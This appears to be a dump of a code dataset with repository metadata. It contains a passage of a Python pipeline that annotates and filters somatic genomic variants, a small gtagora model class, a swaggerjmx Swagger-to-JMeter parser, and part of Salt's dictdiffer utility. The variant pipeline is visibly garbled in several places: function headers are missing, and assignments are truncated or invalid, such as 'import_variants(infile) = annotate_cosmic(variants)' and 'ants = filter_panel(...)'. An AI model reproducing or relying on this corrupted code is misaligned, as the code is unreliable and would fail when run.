['genomic_exact', exact['REF'].count(), exact['TARGET_VAF'].median(), exact['TARGET_VAF'].quantile(q=0.25), exact['TARGET_VAF'].quantile(q=0.75), ', '.join(set(exact['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(exact['REF'].tolist(), exact['ALT'].tolist())])) ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', pos['REF'].count(), pos['TARGET_VAF'].median(), pos['TARGET_VAF'].quantile(q=0.25), pos['TARGET_VAF'].quantile(q=0.75), ', '.join(set(pos['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'].tolist(), pos['ALT'].tolist())])) ] return pd.Series(pos_out) elif close.any(): close = subdat[close] cl_out = ['genomic_close', ', '.join(close.groupby(['ALT', 'REF']).size() \ .astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .median().astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .quantile(q=0.25).astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .quantile(q=0.75).astype(str).tolist()), ', '.join(set(close['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])) ] return pd.Series(cl_out) else: return pd.Series([None]*7) out_names = ["_Class", "_Frequency", "_VAF", "_Q25", "_Q75", "_Position", "_Change"] out_names = ['MMRF' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, mmrf), axis=1) return(variants) def annotate_bolli(variants, path_bolli): bolli = pd.read_csv(filepath_or_buffer=path_bolli, sep='\t') bolli = bolli[["CHR", "START", "WT", "MT", "Variant_class"]] bolli.columns = ["CHR", "START", "REF", "ALT", "ANNOTATION"] def annot_row(row, data): thres = 10 subdat = data[data['CHR'].astype(str) == str(row['CHR'])] po = row['START'] in subdat['START'].as_matrix().astype(int) close = (abs(subdat['START'].as_matrix() \ .astype(int) - row['START']) < thres) if po: pos = subdat[subdat['START'] == row['START']] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = ['genomic_exact', exact['REF'].count(), ', '.join(set(exact['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(exact['REF'].tolist(), exact['ALT'].tolist())])), ', '.join(set(exact['ANNOTATION'])) ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', pos['REF'].count(), ', '.join(set(pos['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'].tolist(), pos['ALT'].tolist())])), ', '.join(set(pos['ANNOTATION'])) ] return pd.Series(pos_out) elif close.any(): close = subdat[close] cl_out = ['genomic_close', ', '.join(close.groupby(['ALT', 'REF']).size() \ .astype(str).tolist()), ', '.join(set(close['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])), ', '.join(set(close['ANNOTATION'])) ] return pd.Series(cl_out) else: return pd.Series([None]*5) out_names = ["_Class", "_Frequency", "_Position", "_Change", "_Annotation"] out_names = ['Bolli' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, bolli), axis=1) return(variants) def annotate_lohr(variants, lohr_path): lohr = pd.read_csv(filepath_or_buffer=lohr_path, sep='\t') lohr = lohr[["Chromosome", "Start_Position", "Reference_Allele", "Tumor_Seq_Allele2"]] lohr.columns = ["CHR", "START", "REF", "ALT"] def annot_row(row, data): thres = 10 subdat = data[data['CHR'].astype(str) == str(row['CHR'])] po = row['START'] in subdat['START'].as_matrix().astype(int) close = (abs(subdat['START'].as_matrix() \ .astype(int) - row['START']) < thres) if po: pos = subdat[subdat['START'] == row['START']] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = ['genomic_exact', exact['REF'].count(), ', '.join(set(exact['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(exact['REF'].tolist(), exact['ALT'].tolist())])) ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', pos['REF'].count(), ', '.join(set(pos['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'].tolist(), pos['ALT'].tolist())])) ] return pd.Series(pos_out) elif close.any(): close = subdat[close] cl_out = ['genomic_close', ', '.join(close.groupby(['ALT', 'REF']).size() \ .astype(str).tolist()), ', '.join(set(close['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])) ] return pd.Series(cl_out) else: return pd.Series([None]*4) out_names = ["_Class", "_Frequency", "_Position", "_Change"] out_names = ['Lohr' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, lohr), axis=1) return(variants) def annotate_mytype(variants, path_mytype): mytype = pd.read_csv(filepath_or_buffer=path_mytype, sep=',') mytype = mytype[["CHR", "START", "REF", "ALT", "MANUAL_ANNOTATION", "TARGET_VAF"]] mytype.columns = ["CHR", "START", "REF", "ALT", "ANNOTATION", "TARGET_VAF"] def annot_row(row, data): thres = 10 subdat = data[data['CHR'].astype(str) == str(row['CHR'])] po = row['START'] in subdat['START'].as_matrix().astype(int) close = (abs(subdat['START'].as_matrix() \ .astype(int) - row['START']) < thres) if po: pos = subdat[subdat['START'] == row['START']] exact = pos[(pos['REF'] == row['REF']) & (pos['ALT'] == row['ALT'])] if len(exact) > 0: ex_out = ['genomic_exact', exact['REF'].count(), exact['TARGET_VAF'].median(), exact['TARGET_VAF'].quantile(q=0.25), exact['TARGET_VAF'].quantile(q=0.75), ', '.join(set(exact['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(exact['REF'].tolist(), exact['ALT'].tolist())])), ', '.join(set(exact['ANNOTATION'])) ] return pd.Series(ex_out) else: pos_out = ['genomic_pos', pos['REF'].count(), pos['TARGET_VAF'].median(), pos['TARGET_VAF'].quantile(q=0.25), pos['TARGET_VAF'].quantile(q=0.75), ', '.join(set(pos['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(pos['REF'].tolist(), pos['ALT'].tolist())])), ', '.join(set(pos['ANNOTATION'])) ] return pd.Series(pos_out) elif close.any(): close = subdat[close] cl_out = ['genomic_close', ', '.join(close.groupby(['ALT', 'REF']).size() \ .astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .median().astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .quantile(q=0.25).astype(str).tolist()), ', '.join(close.groupby(['ALT', 'REF'])['TARGET_VAF'] \ .quantile(q=0.75).astype(str).tolist()), ', '.join(set(close['START'].astype(str))), ', '.join(set([str(a) + '>' + str(b) for a, b in \ zip(close['REF'].tolist(), close['ALT'].tolist())])), ', '.join(set(close['ANNOTATION'])) ] return pd.Series(cl_out) else: return pd.Series([None]*8) out_names = ["_Class", "_Frequency", "_VAF", "_Q25", "_Q75", "_Position", "_Change", "_Annotation"] out_names = ['myTYPE' + s for s in out_names] variants[out_names] = variants.apply(lambda row: annot_row(row, mytype), axis=1) return(variants) def annotate_known(variants, mytype): if mytype: mytype_annot = variants['myTYPE_Annotation'].tolist() myTYPE_somatic = [] for entry in mytype_annot: if pd.isnull(entry): myTYPE_somatic.append(0) else: search_1 = re.search('ONCOGENIC', entry) search_2 = re.search('LIKELY', entry) search_3 = re.search('UNKNOWN', entry) if search_1 or search_2 or search_3: myTYPE_somatic.append(1) else: myTYPE_somatic.append(0) variants['myTYPE_somatic'] = myTYPE_somatic else: variants['myTYPE_somatic'] = 0 variants['KNOWN_MM'] = np.where((variants['myTYPE_somatic'] == 1) | (variants['MMRF_Class'].notnull()) | (variants['Bolli_Class'].notnull()) | (variants['Lohr_Class'].notnull()), 1, 0) variants = variants.drop('myTYPE_somatic', axis=1) return(variants) genes_bed): variants_bed = variants[["CHR", "START", "END", "ID_VARIANT"]] variants_bed = pyb.BedTool.from_dataframe(variants_bed) genes = pyb.BedTool(genes_bed) variants_inter = variants_bed.intersect(genes, u=True) flaglist = [] if not variants_inter.head(n=1, as_string=True) == '': flaglist = pyb.BedTool.to_dataframe(variants_inter)['name'] variants['MFLAG_PANEL'] = np.where(variants.ID_VARIANT.isin(flaglist), 0, 1) return(variants) def filter_drop(variants, genes_drop): drop = pd.read_excel(io=genes_drop)['GENE'] variants['MFLAG_DROP'] = np.where(variants.GENE.isin(drop), 1, 0) return(variants) def filter_igh(variants, igh_path): variants_bed = variants[["CHR", "START", "END", "ID_VARIANT"]] variants_bed = pyb.BedTool.from_dataframe(variants_bed) igh = pyb.BedTool(igh_path) variants_inter = variants_bed.intersect(igh, u=True) flaglist = [] if not variants_inter.head(n=1, as_string=True) == '': flaglist = pyb.BedTool.to_dataframe(variants_inter)['name'] variants['MFLAG_IGH'] = np.where(variants.ID_VARIANT.isin(flaglist), 1, 0) return(variants) def filter_maf(variants): variants['MFLAG_MAF'] = np.where(variants['MAX_MAF'] > 0.03, 1, 0) return(variants) def filter_maf_cosmic(variants, mode): if mode == 'snv': variants['MFLAG_MAFCOS'] = np.where( (variants['MAX_MAF'] > 0.001) & (variants['ANY_EXACT_POS'] == 0), 1, 0) if mode == 'indel': variants['MFLAG_MAFCOS'] = np.where( (variants['MAX_MAF'] > 0.001) & (variants['COSMIC'].isnull()), 1, 0) return(variants) def filter_nonpass(variants, mode): if mode == 'snv': drop = ['non_synonymous_codon'] variants['MFLAG_NONPASS'] = np.where( (variants['FILTER'] != "PASS") & (variants['EFFECT'].isin(drop)) & (variants['ANY_EXACT_POS'] == 0) & (variants['KNOWN_MM'] == 0), 1, 0) return(variants) variants['MFLAG_NONPASS'] = np.where( (variants['FILTER'] != "PASS") & (variants['COSMIC'].isnull()) & (variants['KNOWN_MM'] == 0), 1, 0) return(variants) def filter_normals(variants): match = ['genomic_exact', 'genomic_pos'] variants['MFLAG_NORM'] = np.where(variants['Normals_Class'] \ .isin(match), 1, 0) return(variants) def filter_vaf(variants): variants['MFLAG_VAF'] = np.where( (variants['TARGET_VAF'] < 0.01) & (variants['FILTER'] != 'PASS'), 1, 0) return(variants) def filter_bidir(variants): variants['MFLAG_BIDIR'] = np.where(variants['BIDIR'] == 0, 1, 0) return(variants) e): name = infile.split('/')[-1] if re.search('.csv$', name): return(re.sub('.csv$', '', name)) return(re.sub('.tsv.gz$', '', name)) def filter_export(variants, outdir, name, mode): good = variants[variants.filter(regex='MFLAG').sum(axis=1) == 0] bad = variants[variants.filter(regex='MFLAG').sum(axis=1) > 0] date = str(datetime.today()).split()[0].split("-") name = '_'.join([name, '_'.join(date)]) goodname = join(outdir, name + '_goodcalls.csv') badname = join(outdir, name + '_badcalls.csv') textname = join(outdir, name + '_report.txt') good.to_csv( path_or_buf=goodname, index=False) bad.to_csv( path_or_buf=badname, index=False) stop = timeit.default_timer() with open(textname, 'w') as f: f.write( f'Somatic variant processing for myTYPE\nv.1.0\n ' f'Completed time: {str(datetime.today()).split(".")[0]}\n') f.write(f'Run time: {round(stop-START, 3)}\n') f.write(f'####\nMode: {mode}\n') f.write(f'Imported calls: {variants.shape[0]}\n') f.write('Flagging variants for filtering:\n') f.write(f'MFLAG_PANEL: Variant not in BED file of ' f'regions to keep: {variants["MFLAG_PANEL"].sum()}\n') f.write(f'MFLAG_DROP: Variant in excluded gene: ' f'{variants["MFLAG_DROP"].sum()}\n') f.write(f'MFLAG_IGH: In IGH locus: {variants["MFLAG_IGH"].sum()}\n') f.write(f'MFLAG_MAF: MAF > 3 % in exac/1000genomes: ' f'{variants["MFLAG_MAF"].sum()}\n') f.write(f'MFLAG_MAFCOS: MAF > 0.1 % and not in COSMIC ' f'(exact/pos): {variants["MFLAG_MAFCOS"].sum()}\n') f.write(f'MFLAG_NONPASS: NON-PASS IF not in cosmic, previously ' f'known in MM, not stopgain, splicesite..: ' f'{variants["MFLAG_NONPASS"].sum()}\n') f.write(f'MFLAG_NORM: Variant exact or pos in >0 good normals: ' f'{variants["MFLAG_NORM"].sum()}\n') f.write(f'MFLAG_VAF: Remove NON-PASS calls with target ' f'VAF < 1 %: {variants["MFLAG_VAF"].sum()}\n') f.write(f'MFLAG_BIDIR: Remove variants BIDIR = 0 (only reads ' f'on one strand): {variants["MFLAG_BIDIR"].sum(0)}\n') f.write(f'Removing calls with >= 1 MFLAG: {bad.shape[0]}\n') f.write(f'Calls passed filters: {good.shape[0]}\n') return() def process( mode, infile, outdir, genes, genes_drop, genes_bed, igh, mmrf, bolli, lohr, normals, mytype): import_variants(infile) = annotate_cosmic(variants) if genes: variants = annotate_genefreq(variants, genes) variants = annotate_maf(variants) variants = annotate_normals(variants, normals) variants = annotate_mmrf(variants, mmrf) variants = annotate_bolli(variants, bolli) variants = annotate_lohr(variants, lohr) if mytype: variants = annotate_mytype(variants, mytype) variants = annotate_known(variants, mytype) ants = filter_panel(variants, genes_bed) if genes_drop: variants = filter_drop(variants, genes_drop) variants = filter_igh(variants, igh) variants = filter_maf(variants) variants = filter_maf_cosmic(variants, mode) variants = filter_nonpass(variants, mode) variants = filter_normals(variants) variants = filter_vaf(variants) variants = filter_bidir(variants) e = namecore(infile) filter_export(variants, outdir, name, mode) print('Variant processing complete') return(variants)
true
true
f73d99b41963c10d750605b3decbbe408f7bde2d
81
py
Python
gtagora/models/breadcrumb.py
fsantini/gtagora-connector-py
e97edf0da8adbdfb6d238caf1add42b70d2482f2
[ "MIT" ]
3
2020-06-30T14:26:46.000Z
2022-01-12T19:44:26.000Z
gtagora/models/breadcrumb.py
fsantini/gtagora-connector-py
e97edf0da8adbdfb6d238caf1add42b70d2482f2
[ "MIT" ]
null
null
null
gtagora/models/breadcrumb.py
fsantini/gtagora-connector-py
e97edf0da8adbdfb6d238caf1add42b70d2482f2
[ "MIT" ]
2
2019-02-27T13:54:41.000Z
2019-10-07T13:55:27.000Z
from gtagora.models.base import BaseModel class Breadcrumb(BaseModel): pass
16.2
41
0.790123
from gtagora.models.base import BaseModel class Breadcrumb(BaseModel): pass
true
true
f73d99f41d988acaae6ac06db6d2b5bfb2342d65
2,839
py
Python
build/lib/swaggerjmx/get_swagger.py
QAInsights/swaggerjmx
29308c8b2cdcf33819a9681aa669ab57cfbc88c7
[ "MIT" ]
1
2021-08-20T08:04:31.000Z
2021-08-20T08:04:31.000Z
swaggerjmx/get_swagger.py
QAInsights/swaggerjmx
29308c8b2cdcf33819a9681aa669ab57cfbc88c7
[ "MIT" ]
null
null
null
swaggerjmx/get_swagger.py
QAInsights/swaggerjmx
29308c8b2cdcf33819a9681aa669ab57cfbc88c7
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import requests import json def get_test_plan(swagger_url=None, swagger_url_json_path=None): global data if swagger_url is None: try: with open(swagger_url_json_path, 'r', encoding='utf-8') as f: data = json.load(f, strict=False) except TypeError: raise TypeError('You must pass a swagger_url_json_path parameter!') elif swagger_url_json_path is None: response = requests.get(swagger_url) data = json.loads(response.text, strict=False) elif swagger_url is None and swagger_url_json_path is None: raise TypeError('You must pass a parameter!') elif swagger_url_json_path is not None and swagger_url is not None: raise TypeError('Only one parameter can be passed!') host = data.get("host") base_path = data.get("basePath") path = data.get("paths") thread_groups = data.get("tags") definitions = data.get("definitions") for thread_group in thread_groups: thread_group['host'] = str(host).split(":")[0] try: thread_group["port"] = str(host).split(":")[1] except IndexError: # 当url是域名时 端口传空 thread_group["port"] = '' thread_group['sample'] = [] for path_key, path_value in path.items(): if isinstance(path_value, dict): for method, sample_value in path_value.items(): if isinstance(sample_value, dict): if sample_value.get("tags")[0] == thread_group.get("name"): parameters = {} if isinstance(sample_value.get("parameters"), list): if sample_value.get("parameters").__len__() > 1: for param in sample_value.get("parameters"): parameters[param.get("name")] = "${" + param.get("name") + "}" else: for param in sample_value.get("parameters"): model_name = (param.get("name"))[0].upper() + (param.get("name"))[1:] if model_name in list(definitions.keys()): model_value = definitions.get(model_name) for param_name, param_value in model_value.get("properties").items(): parameters[param_name] = "${" + param_name + "}" thread_group['sample'].append( {"path": base_path + path_key, "method": method, "params": parameters, "sampler_comments": sample_value.get("description")}) return thread_groups
48.948276
113
0.525185
import requests import json def get_test_plan(swagger_url=None, swagger_url_json_path=None): global data if swagger_url is None: try: with open(swagger_url_json_path, 'r', encoding='utf-8') as f: data = json.load(f, strict=False) except TypeError: raise TypeError('You must pass a swagger_url_json_path parameter!') elif swagger_url_json_path is None: response = requests.get(swagger_url) data = json.loads(response.text, strict=False) elif swagger_url is None and swagger_url_json_path is None: raise TypeError('You must pass a parameter!') elif swagger_url_json_path is not None and swagger_url is not None: raise TypeError('Only one parameter can be passed!') host = data.get("host") base_path = data.get("basePath") path = data.get("paths") thread_groups = data.get("tags") definitions = data.get("definitions") for thread_group in thread_groups: thread_group['host'] = str(host).split(":")[0] try: thread_group["port"] = str(host).split(":")[1] except IndexError: thread_group["port"] = '' thread_group['sample'] = [] for path_key, path_value in path.items(): if isinstance(path_value, dict): for method, sample_value in path_value.items(): if isinstance(sample_value, dict): if sample_value.get("tags")[0] == thread_group.get("name"): parameters = {} if isinstance(sample_value.get("parameters"), list): if sample_value.get("parameters").__len__() > 1: for param in sample_value.get("parameters"): parameters[param.get("name")] = "${" + param.get("name") + "}" else: for param in sample_value.get("parameters"): model_name = (param.get("name"))[0].upper() + (param.get("name"))[1:] if model_name in list(definitions.keys()): model_value = definitions.get(model_name) for param_name, param_value in model_value.get("properties").items(): parameters[param_name] = "${" + param_name + "}" thread_group['sample'].append( {"path": base_path + path_key, "method": method, "params": parameters, "sampler_comments": sample_value.get("description")}) return thread_groups
true
true
f73d9b6cea09c514af06574f04344dc5a19d72d6
14,901
py
Python
salt/utils/dictdiffer.py
hvbarker/salt
0b1e299b8983854bd55163439e4ac20d81a9dab7
[ "Apache-2.0" ]
1
2020-05-17T18:00:38.000Z
2020-05-17T18:00:38.000Z
salt/utils/dictdiffer.py
hvbarker/salt
0b1e299b8983854bd55163439e4ac20d81a9dab7
[ "Apache-2.0" ]
null
null
null
salt/utils/dictdiffer.py
hvbarker/salt
0b1e299b8983854bd55163439e4ac20d81a9dab7
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ Calculate the difference between two dictionaries as: (1) items added (2) items removed (3) keys same in both but changed values (4) keys same in both and unchanged values Originally posted at http://stackoverflow.com/questions/1165352/fast-comparison-between-two-python-dictionary/1165552#1165552 Available at repository: https://github.com/hughdbrown/dictdiffer Added the ability to recursively compare dictionaries """ from __future__ import absolute_import, print_function, unicode_literals import copy from collections.abc import Mapping from salt.ext import six def diff(current_dict, past_dict): return DictDiffer(current_dict, past_dict) class DictDiffer(object): """ Calculate the difference between two dictionaries as: (1) items added (2) items removed (3) keys same in both but changed values (4) keys same in both and unchanged values """ def __init__(self, current_dict, past_dict): self.current_dict, self.past_dict = current_dict, past_dict self.set_current, self.set_past = set(list(current_dict)), set(list(past_dict)) self.intersect = self.set_current.intersection(self.set_past) def added(self): return self.set_current - self.intersect def removed(self): return self.set_past - self.intersect def changed(self): return set( o for o in self.intersect if self.past_dict[o] != self.current_dict[o] ) def unchanged(self): return set( o for o in self.intersect if self.past_dict[o] == self.current_dict[o] ) def deep_diff(old, new, ignore=None): ignore = ignore or [] res = {} old = copy.deepcopy(old) new = copy.deepcopy(new) stack = [(old, new, False)] while len(stack) > 0: tmps = [] tmp_old, tmp_new, reentrant = stack.pop() for key in set(list(tmp_old) + list(tmp_new)): if key in tmp_old and key in tmp_new and tmp_old[key] == tmp_new[key]: del tmp_old[key] del tmp_new[key] continue if not reentrant: if key in tmp_old and key in ignore: del tmp_old[key] if key in tmp_new and key in ignore: del tmp_new[key] if isinstance(tmp_old.get(key), Mapping) and isinstance( tmp_new.get(key), Mapping ): tmps.append((tmp_old[key], tmp_new[key], False)) if tmps: stack.extend([(tmp_old, tmp_new, True)] + tmps) if old: res["old"] = old if new: res["new"] = new return res def recursive_diff(past_dict, current_dict, ignore_missing_keys=True): """ Returns a RecursiveDictDiffer object that computes the recursive diffs between two dictionaries past_dict Past dictionary current_dict Current dictionary ignore_missing_keys Flag specifying whether to ignore keys that no longer exist in the current_dict, but exist in the past_dict. If true, the diff will not contain the missing keys. Default is True. """ return RecursiveDictDiffer(past_dict, current_dict, ignore_missing_keys) class RecursiveDictDiffer(DictDiffer): """ Calculates a recursive diff between the current_dict and the past_dict creating a diff in the format {'new': new_value, 'old': old_value} It recursively searches differences in common keys whose values are dictionaries creating a diff dict in the format {'common_key' : {'new': new_value, 'old': old_value} The class overrides all DictDiffer methods, returning lists of keys and subkeys using the . notation (i.e 'common_key1.common_key2.changed_key') The class provides access to: (1) the added, removed, changes keys and subkeys (using the . notation) ``added``, ``removed``, ``changed`` methods (2) the diffs in the format above (diff property) ``diffs`` property (3) a dict with the new changed values only (new_values property) ``new_values`` property (4) a dict with the old changed values only (old_values property) ``old_values`` property (5) a string representation of the changes in the format: ``changes_str`` property Note: The <_null_> value is a reserved value .. code-block:: text common_key1: common_key2: changed_key1 from '<old_str>' to '<new_str>' changed_key2 from '[<old_elem1>, ..]' to '[<new_elem1>, ..]' common_key3: changed_key3 from <old_int> to <new_int> """ NONE_VALUE = "<_null_>" def __init__(self, past_dict, current_dict, ignore_missing_keys): """ past_dict Past dictionary. current_dict Current dictionary. ignore_missing_keys Flag specifying whether to ignore keys that no longer exist in the current_dict, but exist in the past_dict. If true, the diff will not contain the missing keys. """ super(RecursiveDictDiffer, self).__init__(current_dict, past_dict) self._diffs = self._get_diffs( self.current_dict, self.past_dict, ignore_missing_keys ) # Ignores unet values when assessing the changes self.ignore_unset_values = True @classmethod def _get_diffs(cls, dict1, dict2, ignore_missing_keys): """ Returns a dict with the differences between dict1 and dict2 Notes: Keys that only exist in dict2 are not included in the diff if ignore_missing_keys is True, otherwise they are Simple compares are done on lists """ ret_dict = {} for p in dict1.keys(): if p not in dict2: ret_dict.update({p: {"new": dict1[p], "old": cls.NONE_VALUE}}) elif dict1[p] != dict2[p]: if isinstance(dict1[p], dict) and isinstance(dict2[p], dict): sub_diff_dict = cls._get_diffs( dict1[p], dict2[p], ignore_missing_keys ) if sub_diff_dict: ret_dict.update({p: sub_diff_dict}) else: ret_dict.update({p: {"new": dict1[p], "old": dict2[p]}}) if not ignore_missing_keys: for p in dict2.keys(): if p not in dict1.keys(): ret_dict.update({p: {"new": cls.NONE_VALUE, "old": dict2[p]}}) return ret_dict @classmethod def _get_values(cls, diff_dict, type="new"): """ Returns a dictionaries with the 'new' values in a diff dict. type Which values to return, 'new' or 'old' """ ret_dict = {} for p in diff_dict.keys(): if type in diff_dict[p].keys(): ret_dict.update({p: diff_dict[p][type]}) else: ret_dict.update({p: cls._get_values(diff_dict[p], type=type)}) return ret_dict @classmethod def _get_changes(cls, diff_dict): """ Returns a list of string message with the differences in a diff dict. Each inner difference is tabulated two space deeper """ changes_strings = [] for p in sorted(diff_dict.keys()): if sorted(diff_dict[p].keys()) == ["new", "old"]: # Some string formatting old_value = diff_dict[p]["old"] if diff_dict[p]["old"] == cls.NONE_VALUE: old_value = "nothing" elif isinstance(diff_dict[p]["old"], six.string_types): old_value = "'{0}'".format(diff_dict[p]["old"]) elif isinstance(diff_dict[p]["old"], list): old_value = "'{0}'".format(", ".join(diff_dict[p]["old"])) new_value = diff_dict[p]["new"] if diff_dict[p]["new"] == cls.NONE_VALUE: new_value = "nothing" elif isinstance(diff_dict[p]["new"], six.string_types): new_value = "'{0}'".format(diff_dict[p]["new"]) elif isinstance(diff_dict[p]["new"], list): new_value = "'{0}'".format(", ".join(diff_dict[p]["new"])) changes_strings.append( "{0} from {1} to {2}".format(p, old_value, new_value) ) else: sub_changes = cls._get_changes(diff_dict[p]) if sub_changes: changes_strings.append("{0}:".format(p)) changes_strings.extend([" {0}".format(c) for c in sub_changes]) return changes_strings def added(self): """ Returns all keys that have been added. If the keys are in child dictionaries they will be represented with . notation """ def _added(diffs, prefix): keys = [] for key in diffs.keys(): if isinstance(diffs[key], dict) and "old" not in diffs[key]: keys.extend( _added(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) elif diffs[key]["old"] == self.NONE_VALUE: if isinstance(diffs[key]["new"], dict): keys.extend( _added( diffs[key]["new"], prefix="{0}{1}.".format(prefix, key) ) ) else: keys.append("{0}{1}".format(prefix, key)) return keys return sorted(_added(self._diffs, prefix="")) def removed(self): """ Returns all keys that have been removed. If the keys are in child dictionaries they will be represented with . notation """ def _removed(diffs, prefix): keys = [] for key in diffs.keys(): if isinstance(diffs[key], dict) and "old" not in diffs[key]: keys.extend( _removed(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) elif diffs[key]["new"] == self.NONE_VALUE: keys.append("{0}{1}".format(prefix, key)) elif isinstance(diffs[key]["new"], dict): keys.extend( _removed( diffs[key]["new"], prefix="{0}{1}.".format(prefix, key) ) ) return keys return sorted(_removed(self._diffs, prefix="")) def changed(self): """ Returns all keys that have been changed. If the keys are in child dictionaries they will be represented with . notation """ def _changed(diffs, prefix): keys = [] for key in diffs.keys(): if not isinstance(diffs[key], dict): continue if isinstance(diffs[key], dict) and "old" not in diffs[key]: keys.extend( _changed(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) continue if self.ignore_unset_values: if ( "old" in diffs[key] and "new" in diffs[key] and diffs[key]["old"] != self.NONE_VALUE and diffs[key]["new"] != self.NONE_VALUE ): if isinstance(diffs[key]["new"], dict): keys.extend( _changed( diffs[key]["new"], prefix="{0}{1}.".format(prefix, key), ) ) else: keys.append("{0}{1}".format(prefix, key)) elif isinstance(diffs[key], dict): keys.extend( _changed(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) else: if "old" in diffs[key] and "new" in diffs[key]: if isinstance(diffs[key]["new"], dict): keys.extend( _changed( diffs[key]["new"], prefix="{0}{1}.".format(prefix, key), ) ) else: keys.append("{0}{1}".format(prefix, key)) elif isinstance(diffs[key], dict): keys.extend( _changed(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) return keys return sorted(_changed(self._diffs, prefix="")) def unchanged(self): """ Returns all keys that have been unchanged. If the keys are in child dictionaries they will be represented with . notation """ def _unchanged(current_dict, diffs, prefix): keys = [] for key in current_dict.keys(): if key not in diffs: keys.append("{0}{1}".format(prefix, key)) elif isinstance(current_dict[key], dict): if "new" in diffs[key]: # There is a diff continue else: keys.extend( _unchanged( current_dict[key], diffs[key], prefix="{0}{1}.".format(prefix, key), ) ) return keys return sorted(_unchanged(self.current_dict, self._diffs, prefix="")) @property def diffs(self): """Returns a dict with the recursive diffs current_dict - past_dict""" return self._diffs @property def new_values(self): """Returns a dictionary with the new values""" return self._get_values(self._diffs, type="new") @property def old_values(self): """Returns a dictionary with the old values""" return self._get_values(self._diffs, type="old") @property def changes_str(self): """Returns a string describing the changes""" return "\n".join(self._get_changes(self._diffs))
35.819712
127
0.517818
from __future__ import absolute_import, print_function, unicode_literals import copy from collections.abc import Mapping from salt.ext import six def diff(current_dict, past_dict): return DictDiffer(current_dict, past_dict) class DictDiffer(object): def __init__(self, current_dict, past_dict): self.current_dict, self.past_dict = current_dict, past_dict self.set_current, self.set_past = set(list(current_dict)), set(list(past_dict)) self.intersect = self.set_current.intersection(self.set_past) def added(self): return self.set_current - self.intersect def removed(self): return self.set_past - self.intersect def changed(self): return set( o for o in self.intersect if self.past_dict[o] != self.current_dict[o] ) def unchanged(self): return set( o for o in self.intersect if self.past_dict[o] == self.current_dict[o] ) def deep_diff(old, new, ignore=None): ignore = ignore or [] res = {} old = copy.deepcopy(old) new = copy.deepcopy(new) stack = [(old, new, False)] while len(stack) > 0: tmps = [] tmp_old, tmp_new, reentrant = stack.pop() for key in set(list(tmp_old) + list(tmp_new)): if key in tmp_old and key in tmp_new and tmp_old[key] == tmp_new[key]: del tmp_old[key] del tmp_new[key] continue if not reentrant: if key in tmp_old and key in ignore: del tmp_old[key] if key in tmp_new and key in ignore: del tmp_new[key] if isinstance(tmp_old.get(key), Mapping) and isinstance( tmp_new.get(key), Mapping ): tmps.append((tmp_old[key], tmp_new[key], False)) if tmps: stack.extend([(tmp_old, tmp_new, True)] + tmps) if old: res["old"] = old if new: res["new"] = new return res def recursive_diff(past_dict, current_dict, ignore_missing_keys=True): return RecursiveDictDiffer(past_dict, current_dict, ignore_missing_keys) class RecursiveDictDiffer(DictDiffer): NONE_VALUE = "<_null_>" def __init__(self, past_dict, current_dict, ignore_missing_keys): super(RecursiveDictDiffer, self).__init__(current_dict, past_dict) self._diffs = self._get_diffs( self.current_dict, self.past_dict, ignore_missing_keys ) self.ignore_unset_values = True @classmethod def _get_diffs(cls, dict1, dict2, ignore_missing_keys): ret_dict = {} for p in dict1.keys(): if p not in dict2: ret_dict.update({p: {"new": dict1[p], "old": cls.NONE_VALUE}}) elif dict1[p] != dict2[p]: if isinstance(dict1[p], dict) and isinstance(dict2[p], dict): sub_diff_dict = cls._get_diffs( dict1[p], dict2[p], ignore_missing_keys ) if sub_diff_dict: ret_dict.update({p: sub_diff_dict}) else: ret_dict.update({p: {"new": dict1[p], "old": dict2[p]}}) if not ignore_missing_keys: for p in dict2.keys(): if p not in dict1.keys(): ret_dict.update({p: {"new": cls.NONE_VALUE, "old": dict2[p]}}) return ret_dict @classmethod def _get_values(cls, diff_dict, type="new"): ret_dict = {} for p in diff_dict.keys(): if type in diff_dict[p].keys(): ret_dict.update({p: diff_dict[p][type]}) else: ret_dict.update({p: cls._get_values(diff_dict[p], type=type)}) return ret_dict @classmethod def _get_changes(cls, diff_dict): changes_strings = [] for p in sorted(diff_dict.keys()): if sorted(diff_dict[p].keys()) == ["new", "old"]: old_value = diff_dict[p]["old"] if diff_dict[p]["old"] == 